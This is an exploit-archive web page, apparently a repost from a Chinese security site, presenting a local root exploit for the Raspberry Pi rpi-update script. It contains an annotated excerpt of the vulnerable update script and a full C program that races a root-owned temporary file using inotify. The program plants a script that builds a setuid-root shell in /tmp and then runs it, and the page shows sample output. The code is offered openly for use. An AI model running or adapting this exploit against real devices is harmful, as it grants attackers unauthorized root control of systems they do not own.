首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Raspberry Pi rpi-update Local Root
来源:http://vapid.dhs.org 作者:Cashdollar 发布时间:2013-03-07  

Hello everyone,

I took a closer look at this vulnerability here is my exploit to share:

 45         cat > /tmp/updateScript.sh << EOF <-- if we own it first, wait for I_MODIFY and inject our malicious code
 46         #!/bin/bash
 47         if mv "${_tempFileName}" "$0"; then
 48                 rm -- "\$0"
 49                 exec env UPDATE_SELF=0 /bin/bash "$0" "${FW_REV}"
 50         else
 51                 echo " !!! Failed!"
 52         fi
 53 EOF
 54
 55         echo " *** Relaunching after update"
 56         exec /bin/bash /tmp/updateScript.sh <-- just runs whatever is here
 

This will poop out a root prompt for you!

raspi-p0wn.c
----------------------------------------

/*Local root exploit for rpi-update on raspberry Pi.
Vulnerability discovered by Technion,  technion@lolware.net

https://github.com/Hexxeh/rpi-update/


larry@pih0le:~$ ./rpix updateScript.sh
[*] Launching attack against "updateScript.sh"
[+] Creating evil script (/tmp/evil)
[+] Creating target file (/usr/bin/touch /tmp/updateScript.sh)
[+] Initialize inotify on /tmp/updateScript.sh
[+] Waiting for root to change perms on "updateScript.sh"
[+] Opening root shell (/tmp/sh)
# <-- Yay!


Larry W. Cashdollar
http://vapid.dhs.org
@_larry0

Greets to Vladz.
*/

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <sys/inotify.h>
#include <fcntl.h>
#include <sys/syscall.h>

/*Create a small c program to pop us a root shell*/
int create_nasty_shell(char *file) {
  char *s = "#!/bin/bash\n"
            "echo 'main(){setuid(0);execve(\"/bin/sh\",0,0);}'>/tmp/sh.c\n"
            "cc /tmp/sh.c -o /tmp/sh; chown root:root /tmp/sh\n"
            "chmod 4755 /tmp/sh;\n";

  int fd = open(file, O_CREAT|O_RDWR, S_IRWXU|S_IRWXG|S_IRWXO);
  write(fd, s, strlen(s));
  close(fd);

  return 0;
}


int main(int argc, char **argv) {
  int fd, wd;
  char buf[1], *targetpath, *cmd,
       *evilsh = "/tmp/evil", *trash = "/tmp/trash";

  if (argc < 2) {
    printf("Usage: %s <target file> \n", argv[0]);
    return 1;
  }

  printf("[*] Launching attack against \"%s\"\n", argv[1]);

  printf("[+] Creating evil script (/tmp/evil)\n");
  create_nasty_shell(evilsh);

  targetpath = malloc(sizeof(argv[1]) + 32);
  cmd = malloc(sizeof(char) * 32);
  sprintf(targetpath, "/tmp/%s", argv[1]);
  sprintf(cmd,"/usr/bin/touch %s",targetpath);
  printf("[+] Creating target file (%s)\n",cmd);
  system(cmd);

  printf("[+] Initialize inotify on %s\n",targetpath);
  fd = inotify_init();
  wd = inotify_add_watch(fd, targetpath, IN_MODIFY);

  printf("[+] Waiting for root to modify :\"%s\"\n", argv[1]);
  syscall(SYS_read, fd, buf, 1);
  syscall(SYS_rename, targetpath,  trash);
  syscall(SYS_rename, evilsh, targetpath);

  inotify_rm_watch(fd, wd);

  printf("[+] Opening root shell (/tmp/sh)\n");
  sleep(2);
  system("rm -fr /tmp/trash;/tmp/sh || echo \"[-] Failed.\"");

  return 0;
}

 


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Viscosity setuid-set Viscosity
·Subversion 1.6.17 Denial Of Se
·Setuid Tunnelblick Privilege E
·SIP Witch 0.7.4 Denial Of Serv
·Sami FTP Server 2.0.1 LIST Com
·Samsung TV Denial Of Service
·Hanso Player 2.1.0 (.m3u) - Bu
·Varnish 2.1.5 / 3.0.3 Denial O
·Ruby Gem ftpd-0.2.1 Remote Com
·Squid 3.x Denial Of Service
·Fileutils Ruby Gem Remote Comm
·ALLMediaServer 0.94 SEH Overfl
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved